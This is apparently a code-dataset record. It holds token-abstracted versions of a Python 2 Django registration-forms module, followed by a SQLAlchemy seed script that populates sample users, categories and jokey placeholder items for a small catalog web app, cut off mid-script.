cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n account_type = int(cleaned_data.get('form_type'))\n if (account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type !=\n UserProfile.ACCOUNT_ORGANIZATION):\n raise forms.ValidationError('Invalid account type')\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data['email'],\n self.cleaned_data['email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['first_name']\n new_user.last_name = self.cleaned_data['last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n key_obj = ActivationKey(user=new_user, activation_key=\n activation_key, key_expires=key_expires)\n key_obj.save()\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_VOLUNTEER)\n new_profile.save()\n return new_user\n\n\nclass OrganizationRegistrationForm(forms.Form):\n business_name = forms.CharField(required=True, max_length=60)\n primary_contact_first_name = forms.CharField(required=True, max_length=30)\n primary_contact_last_name = forms.CharField(required=True, max_length=30)\n primary_contact_phone = forms.CharField(required=True, max_length=30)\n primary_contact_email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_ORGANIZATION)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get(\n 'primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['primary_contact_first_name']\n new_user.last_name = self.cleaned_data['primary_contact_last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[\n 'business_name'])\n new_profile.save()\n return new_user\n", "<import token>\n<assignment token>\n\n\nclass UserRegistrationForm(forms.Form):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get('email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n account_type = int(cleaned_data.get('form_type'))\n if (account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type !=\n UserProfile.ACCOUNT_ORGANIZATION):\n raise forms.ValidationError('Invalid account type')\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data['email'],\n self.cleaned_data['email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['first_name']\n new_user.last_name = self.cleaned_data['last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n key_obj = ActivationKey(user=new_user, activation_key=\n activation_key, key_expires=key_expires)\n key_obj.save()\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_VOLUNTEER)\n new_profile.save()\n return new_user\n\n\nclass OrganizationRegistrationForm(forms.Form):\n business_name = forms.CharField(required=True, max_length=60)\n primary_contact_first_name = forms.CharField(required=True, max_length=30)\n primary_contact_last_name = forms.CharField(required=True, max_length=30)\n primary_contact_phone = forms.CharField(required=True, max_length=30)\n primary_contact_email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_ORGANIZATION)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get(\n 'primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['primary_contact_first_name']\n new_user.last_name = self.cleaned_data['primary_contact_last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[\n 'business_name'])\n new_profile.save()\n return new_user\n", "<import token>\n<assignment token>\n\n\nclass UserRegistrationForm(forms.Form):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data['email'],\n self.cleaned_data['email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['first_name']\n new_user.last_name = self.cleaned_data['last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n key_obj = ActivationKey(user=new_user, activation_key=\n activation_key, key_expires=key_expires)\n key_obj.save()\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_VOLUNTEER)\n new_profile.save()\n return new_user\n\n\nclass OrganizationRegistrationForm(forms.Form):\n business_name = forms.CharField(required=True, max_length=60)\n primary_contact_first_name = forms.CharField(required=True, max_length=30)\n primary_contact_last_name = forms.CharField(required=True, max_length=30)\n primary_contact_phone = forms.CharField(required=True, max_length=30)\n primary_contact_email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_ORGANIZATION)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get(\n 'primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['primary_contact_first_name']\n new_user.last_name = self.cleaned_data['primary_contact_last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[\n 'business_name'])\n new_profile.save()\n return new_user\n", "<import token>\n<assignment token>\n\n\nclass UserRegistrationForm(forms.Form):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n\n\nclass OrganizationRegistrationForm(forms.Form):\n business_name = forms.CharField(required=True, max_length=60)\n primary_contact_first_name = forms.CharField(required=True, max_length=30)\n primary_contact_last_name = forms.CharField(required=True, max_length=30)\n primary_contact_phone = forms.CharField(required=True, max_length=30)\n primary_contact_email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_ORGANIZATION)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get(\n 'primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['primary_contact_first_name']\n new_user.last_name = self.cleaned_data['primary_contact_last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[\n 'business_name'])\n new_profile.save()\n return new_user\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass OrganizationRegistrationForm(forms.Form):\n business_name = forms.CharField(required=True, max_length=60)\n primary_contact_first_name = forms.CharField(required=True, max_length=30)\n primary_contact_last_name = forms.CharField(required=True, max_length=30)\n primary_contact_phone = forms.CharField(required=True, max_length=30)\n primary_contact_email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_ORGANIZATION)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get(\n 'primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['primary_contact_first_name']\n new_user.last_name = self.cleaned_data['primary_contact_last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[\n 'business_name'])\n new_profile.save()\n return new_user\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass OrganizationRegistrationForm(forms.Form):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get(\n 'primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['primary_contact_first_name']\n new_user.last_name = self.cleaned_data['primary_contact_last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[\n 'business_name'])\n new_profile.save()\n return new_user\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass OrganizationRegistrationForm(forms.Form):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get(\n 'primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n return cleaned_data\n <function token>\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass OrganizationRegistrationForm(forms.Form):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n" ]
false
9,923
964499c02548a7e790d96efcd780f471ab1fe1e3
from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker from database_setup import Category, Base, CategoryItem, User engine = create_engine('postgresql:///thegoodybasket') # Bind the engine to the metadata of the Base class so that the # declaratives can be accessed through a DBSession instance Base.metadata.bind = engine DBSession = sessionmaker(bind=engine) # A DBSession() instance establishes all conversations with the database # and represents a "staging zone" for all the objects loaded into the # database session object. Any change made against the objects in the # session won't be persisted into the database until you call # session.commit(). If you're not happy about the changes, you can # revert all of them back to the last commit by calling # session.rollback() session = DBSession() # Create dummy user User1 = User(name="Robo Barista", email="[email protected]", picture='profile1.jpg') session.add(User1) session.commit() User2 = User(name="Lisa Rodriguez", email="[email protected]", picture='profile2.jpg') session.add(User2) session.commit() User3 = User(name="Hannah Martin", email="[email protected]", picture='profile3.jpg') session.add(User3) session.commit() User4 = User(name="Brad Phillips", email="[email protected]", picture='profile4.jpg') session.add(User4) session.commit() User5 = User(name="Marv Robins", email="[email protected]", picture='profile5.jpg') session.add(User5) session.commit() User6 = User(name="Jennifer Andrews", email="[email protected]", picture='profile6.jpg') session.add(User6) session.commit() # items for Snowboarding category1 = Category(user_id=1, name="Snowboarding") session.add(category1) session.commit() categoryItem1 = CategoryItem(user_id=1, name="White Snowboard", description="Brand new white 145cm pro model. Also available in red, orange and grey.", price="$250.00", picture="snowboard_white.jpg", category=category1) session.add(categoryItem1) session.commit() categoryItem2 = CategoryItem(user_id=1, name="Snow Jacket", description="Warm and puffy red snow jacket. Perfect for keeping warm!", price="$199.99", picture="jacket.jpg", category=category1) session.add(categoryItem2) session.commit() categoryItem3 = CategoryItem(user_id=1, name="Snow Goggles", description="Brand new 2015 model anti-glare, removable lens and adjustable strap goggles.", price="$49.99", picture="snow_goggles.jpg", category=category1) session.add(categoryItem3) session.commit() categoryItem4 = CategoryItem(user_id=1, name="Snow Gloves", description="Thick and padded snow gloves to keep toasty hands. Available in red and black.", price="$39.99", picture="ski_gloves.jpg", category=category1) session.add(categoryItem4) session.commit() categoryItem5 = CategoryItem(user_id=1, name="Snow Hat", description="Keep your head warm with this knitted-by-hand snow hat.", price="$17.99", picture="warm_hat.jpg", category=category1) session.add(categoryItem5) session.commit() categoryItem6 = CategoryItem(user_id=1, name="Ray-Ban Aviators", description="Keep cool on the slopes with these huge aviators.", price="$1.99", picture="ray_bans.jpg", category=category1) session.add(categoryItem6) session.commit() # Items for Skiing category2 = Category(user_id=2, name="Skiing") session.add(category2) session.commit() categoryItem1 = CategoryItem(user_id=2, name="Ski Boots", description="Warm, lightweight and super rugged ski boots. Available in all sizes.", price="$175.50", picture="ski_boots.jpg", category=category2) session.add(categoryItem1) session.commit() categoryItem2 = CategoryItem(user_id=2, name="Ski Gloves", description="Padded and warm waterproof gloves, available in red and black.", price="$52.99", picture="ski_gloves.jpg", category=category2) session.add(categoryItem2) session.commit() categoryItem3 = CategoryItem(user_id=2, name="K2 Soloman Skis", description="Brand new 2015 Solomon K2 skis in size 175.", price="$450.00", picture="k2_skis.jpg", category=category2) session.add(categoryItem3) session.commit() categoryItem4 = CategoryItem(user_id=2, name="Walking Boots", description="Warm and weatherproof. Available in all sizes.", price="$69.99", picture="walking_boots.jpg", category=category2) session.add(categoryItem4) session.commit() categoryItem5 = CategoryItem(user_id=2, name="Enhanced walking boots", description="Made with grade A beef", price="$7.99", picture="walking_boots.jpg", category=category2) session.add(categoryItem5) session.commit() categoryItem6 = CategoryItem(user_id=2, name="Gold plated walking boots", description="16oz of refreshing goodness", price="$1.99", picture="walking_boots.jpg", category=category2) session.add(categoryItem6) session.commit() # Items for Laptops category3 = Category(user_id=3, name="Laptops") session.add(category3) session.commit() categoryItem1 = CategoryItem(user_id=3, name="Retina MacBook Pro 13 inch", description="MacBook Pro 13-inch dual-core i5 2.5GHz/4GB/500GB/HD Graphics 4000/SD", price="$999.00", picture="macbook.jpg", category=category3) session.add(categoryItem1) session.commit() categoryItem2 = CategoryItem(user_id=3, name="Microsoft Surface Pro 3", description="Microsoft Surface Pro 3 256GB Silver tablet with keyboard.", price="$799.99", picture="surface_pro.jpg", category=category3) session.add(categoryItem2) session.commit() categoryItem3 = CategoryItem(user_id=3, name="Sony Vaio", description="Sony Vaio VPCX13C7E Notebook Intel Atom (Z540).", price="$5.50", picture="sony_vaio.jpg", category=category3) session.add(categoryItem3) session.commit() categoryItem4 = CategoryItem(user_id=3, name="Sony Vaio Mk 2", description="fresh baked and served with ice cream", price="$3.99", picture="sony_vaio.jpg", category=category3) session.add(categoryItem4) session.commit() categoryItem5 = CategoryItem(user_id=3, name="Enhanced Sony Vaio", description="Made with grade A beef instead of silicon chips.", price="$7.99", picture="sony_vaio.jpg", category=category3) session.add(categoryItem5) session.commit() categoryItem6 = CategoryItem(user_id=3, name="Root Beer", description="16oz of refreshing goodness", price="$1.99", picture="sony_vaio.jpg", category=category3) session.add(categoryItem6) session.commit() # Items for biking category. category4 = Category(user_id=4, name="Biking") session.add(category4) session.commit() categoryItem1 = CategoryItem(user_id=4, name="Racing Bike", description="Feel the speed with this super light and stiff carbon fibre racing bike.", price="$1499.99", picture="racing_bike.jpg", category=category4) session.add(categoryItem1) session.commit() categoryItem2 = CategoryItem(user_id=4, name="Bike Helmet", description="Protect your head from falls with a super strong helmet.", price="$22.99", picture="bike_helmet.jpg", category=category4) session.add(categoryItem2) session.commit() categoryItem3 = CategoryItem(user_id=4, name="Bike Chain", description="Spare chain with a full range of sizes and types available.", price="$15.50", picture="bike_chain.jpg", category=category4) session.add(categoryItem3) session.commit() categoryItem4 = CategoryItem(user_id=4, name="27 Inch Tyre", description="A wonderfully resistant tyre with Smart Guard protection.", price="$33.99", picture="bike_tyres.jpg", category=category4) session.add(categoryItem4) session.commit() categoryItem5 = CategoryItem(user_id=4, name="Puncture Repair Kit", description="Part of the essentials list when preparing for a bike ride.", price="$15.99", picture="puncture_repair_kit.jpg", category=category4) session.add(categoryItem5) session.commit() categoryItem6 = CategoryItem(user_id=4, name="White Stripe Crash Helmet", description="Colourful and stylish streamlined biking helmet.", price="$29.99", picture="bike_helmet2.jpg", category=category4) session.add(categoryItem6) session.commit() # Items for surfing category. category5 = Category(user_id=5, name="Surfing") session.add(category5) session.commit() categoryItem1 = CategoryItem(user_id=5, name="Surf Wax", description="Essential surfboard traction.", price="$7.50", picture="surf_wax.jpg", category=category5) session.add(categoryItem1) session.commit() categoryItem2 = CategoryItem(user_id=5, name="Surfboard", description="This versatile shape will glide you through the waves.", price="$299.99", picture="surfboard.jpg", category=category5) session.add(categoryItem2) session.commit() categoryItem3 = CategoryItem(user_id=5, name="Wetsuit", description="Keep warm and protected in the cold months.", price="$150.00", picture="wetsuit.jpg", category=category5) session.add(categoryItem3) session.commit() categoryItem4 = CategoryItem(user_id=5, name="Flip Flops", description="Blue, easy fit slip on.", price="$3.99", picture="flip_flops.jpg", category=category5) session.add(categoryItem4) session.commit() categoryItem5 = CategoryItem(user_id=5, name="Hat", description="Hat for chilling in the beach sun.", price="$7.99", picture="flip_flops.jpg", category=category5) session.add(categoryItem5) session.commit() categoryItem6 = CategoryItem(user_id=5, name="Root Beer soaked flip-flops", description="16oz of refreshing goodness poured over a fresh set of flip-flops", price="$1.99", picture="flip_flops.jpg", category=category5) session.add(categoryItem6) session.commit() print "Added Category items and users!"
[ "from sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nfrom database_setup import Category, Base, CategoryItem, User\n\nengine = create_engine('postgresql:///thegoodybasket')\n# Bind the engine to the metadata of the Base class so that the\n# declaratives can be accessed through a DBSession instance\nBase.metadata.bind = engine\n\nDBSession = sessionmaker(bind=engine)\n# A DBSession() instance establishes all conversations with the database\n# and represents a \"staging zone\" for all the objects loaded into the\n# database session object. Any change made against the objects in the\n# session won't be persisted into the database until you call\n# session.commit(). If you're not happy about the changes, you can\n# revert all of them back to the last commit by calling\n# session.rollback()\nsession = DBSession()\n\n\n# Create dummy user\nUser1 = User(name=\"Robo Barista\", email=\"[email protected]\",\n picture='profile1.jpg')\nsession.add(User1)\nsession.commit()\n\nUser2 = User(name=\"Lisa Rodriguez\", email=\"[email protected]\",\n picture='profile2.jpg')\nsession.add(User2)\nsession.commit()\n\nUser3 = User(name=\"Hannah Martin\", email=\"[email protected]\",\n picture='profile3.jpg')\nsession.add(User3)\nsession.commit()\n\nUser4 = User(name=\"Brad Phillips\", email=\"[email protected]\",\n picture='profile4.jpg')\nsession.add(User4)\nsession.commit()\n\nUser5 = User(name=\"Marv Robins\", email=\"[email protected]\",\n picture='profile5.jpg')\nsession.add(User5)\nsession.commit()\n\nUser6 = User(name=\"Jennifer Andrews\", email=\"[email protected]\",\n picture='profile6.jpg')\nsession.add(User6)\nsession.commit()\n\n# items for Snowboarding\ncategory1 = Category(user_id=1, name=\"Snowboarding\")\n\nsession.add(category1)\nsession.commit()\n\ncategoryItem1 = CategoryItem(user_id=1, name=\"White Snowboard\", description=\"Brand new white 145cm pro model. Also available in red, orange and grey.\",\n price=\"$250.00\", picture=\"snowboard_white.jpg\", category=category1)\n\nsession.add(categoryItem1)\nsession.commit()\n\n\ncategoryItem2 = CategoryItem(user_id=1, name=\"Snow Jacket\", description=\"Warm and puffy red snow jacket. Perfect for keeping warm!\",\n price=\"$199.99\", picture=\"jacket.jpg\", category=category1)\n\nsession.add(categoryItem2)\nsession.commit()\n\ncategoryItem3 = CategoryItem(user_id=1, name=\"Snow Goggles\", description=\"Brand new 2015 model anti-glare, removable lens and adjustable strap goggles.\",\n price=\"$49.99\", picture=\"snow_goggles.jpg\", category=category1)\n\nsession.add(categoryItem3)\nsession.commit()\n\ncategoryItem4 = CategoryItem(user_id=1, name=\"Snow Gloves\", description=\"Thick and padded snow gloves to keep toasty hands. Available in red and black.\",\n price=\"$39.99\", picture=\"ski_gloves.jpg\", category=category1)\n\nsession.add(categoryItem4)\nsession.commit()\n\ncategoryItem5 = CategoryItem(user_id=1, name=\"Snow Hat\", description=\"Keep your head warm with this knitted-by-hand snow hat.\",\n price=\"$17.99\", picture=\"warm_hat.jpg\", category=category1)\n\nsession.add(categoryItem5)\nsession.commit()\n\ncategoryItem6 = CategoryItem(user_id=1, name=\"Ray-Ban Aviators\", description=\"Keep cool on the slopes with these huge aviators.\",\n price=\"$1.99\", picture=\"ray_bans.jpg\", category=category1)\n\nsession.add(categoryItem6)\nsession.commit()\n\n\n# Items for Skiing\ncategory2 = Category(user_id=2, name=\"Skiing\")\n\nsession.add(category2)\nsession.commit()\n\n\ncategoryItem1 = CategoryItem(user_id=2, name=\"Ski Boots\", description=\"Warm, lightweight and super rugged ski boots. Available in all sizes.\",\n price=\"$175.50\", picture=\"ski_boots.jpg\", category=category2)\n\nsession.add(categoryItem1)\nsession.commit()\n\n\ncategoryItem2 = CategoryItem(user_id=2, name=\"Ski Gloves\", description=\"Padded and warm waterproof gloves, available in red and black.\",\n price=\"$52.99\", picture=\"ski_gloves.jpg\", category=category2)\n\nsession.add(categoryItem2)\nsession.commit()\n\ncategoryItem3 = CategoryItem(user_id=2, name=\"K2 Soloman Skis\", description=\"Brand new 2015 Solomon K2 skis in size 175.\",\n price=\"$450.00\", picture=\"k2_skis.jpg\", category=category2)\n\nsession.add(categoryItem3)\nsession.commit()\n\ncategoryItem4 = CategoryItem(user_id=2, name=\"Walking Boots\", description=\"Warm and weatherproof. Available in all sizes.\",\n price=\"$69.99\", picture=\"walking_boots.jpg\", category=category2)\n\nsession.add(categoryItem4)\nsession.commit()\n\ncategoryItem5 = CategoryItem(user_id=2, name=\"Enhanced walking boots\", description=\"Made with grade A beef\",\n price=\"$7.99\", picture=\"walking_boots.jpg\", category=category2)\n\nsession.add(categoryItem5)\nsession.commit()\n\ncategoryItem6 = CategoryItem(user_id=2, name=\"Gold plated walking boots\", description=\"16oz of refreshing goodness\",\n price=\"$1.99\", picture=\"walking_boots.jpg\", category=category2)\n\nsession.add(categoryItem6)\nsession.commit()\n\n\n# Items for Laptops\ncategory3 = Category(user_id=3, name=\"Laptops\")\n\nsession.add(category3)\nsession.commit()\n\n\ncategoryItem1 = CategoryItem(user_id=3, name=\"Retina MacBook Pro 13 inch\", description=\"MacBook Pro 13-inch dual-core i5 2.5GHz/4GB/500GB/HD Graphics 4000/SD\",\n price=\"$999.00\", picture=\"macbook.jpg\", category=category3)\n\nsession.add(categoryItem1)\nsession.commit()\n\n\ncategoryItem2 = CategoryItem(user_id=3, name=\"Microsoft Surface Pro 3\", description=\"Microsoft Surface Pro 3 256GB Silver tablet with keyboard.\",\n price=\"$799.99\", picture=\"surface_pro.jpg\", category=category3)\n\nsession.add(categoryItem2)\nsession.commit()\n\ncategoryItem3 = CategoryItem(user_id=3, name=\"Sony Vaio\", description=\"Sony Vaio VPCX13C7E Notebook Intel Atom (Z540).\",\n price=\"$5.50\", picture=\"sony_vaio.jpg\", category=category3)\n\nsession.add(categoryItem3)\nsession.commit()\n\ncategoryItem4 = CategoryItem(user_id=3, name=\"Sony Vaio Mk 2\", description=\"fresh baked and served with ice cream\",\n price=\"$3.99\", picture=\"sony_vaio.jpg\", category=category3)\n\nsession.add(categoryItem4)\nsession.commit()\n\ncategoryItem5 = CategoryItem(user_id=3, name=\"Enhanced Sony Vaio\", description=\"Made with grade A beef instead of silicon chips.\",\n price=\"$7.99\", picture=\"sony_vaio.jpg\", category=category3)\n\nsession.add(categoryItem5)\nsession.commit()\n\ncategoryItem6 = CategoryItem(user_id=3, name=\"Root Beer\", description=\"16oz of refreshing goodness\",\n price=\"$1.99\", picture=\"sony_vaio.jpg\", category=category3)\n\nsession.add(categoryItem6)\nsession.commit()\n\n\n# Items for biking category.\ncategory4 = Category(user_id=4, name=\"Biking\")\n\nsession.add(category4)\nsession.commit()\n\n\ncategoryItem1 = CategoryItem(user_id=4, name=\"Racing Bike\", description=\"Feel the speed with this super light and stiff carbon fibre racing bike.\",\n price=\"$1499.99\", picture=\"racing_bike.jpg\", category=category4)\n\nsession.add(categoryItem1)\nsession.commit()\n\n\ncategoryItem2 = CategoryItem(user_id=4, name=\"Bike Helmet\", description=\"Protect your head from falls with a super strong helmet.\",\n price=\"$22.99\", picture=\"bike_helmet.jpg\", category=category4)\n\nsession.add(categoryItem2)\nsession.commit()\n\ncategoryItem3 = CategoryItem(user_id=4, name=\"Bike Chain\", description=\"Spare chain with a full range of sizes and types available.\",\n price=\"$15.50\", picture=\"bike_chain.jpg\", category=category4)\n\nsession.add(categoryItem3)\nsession.commit()\n\ncategoryItem4 = 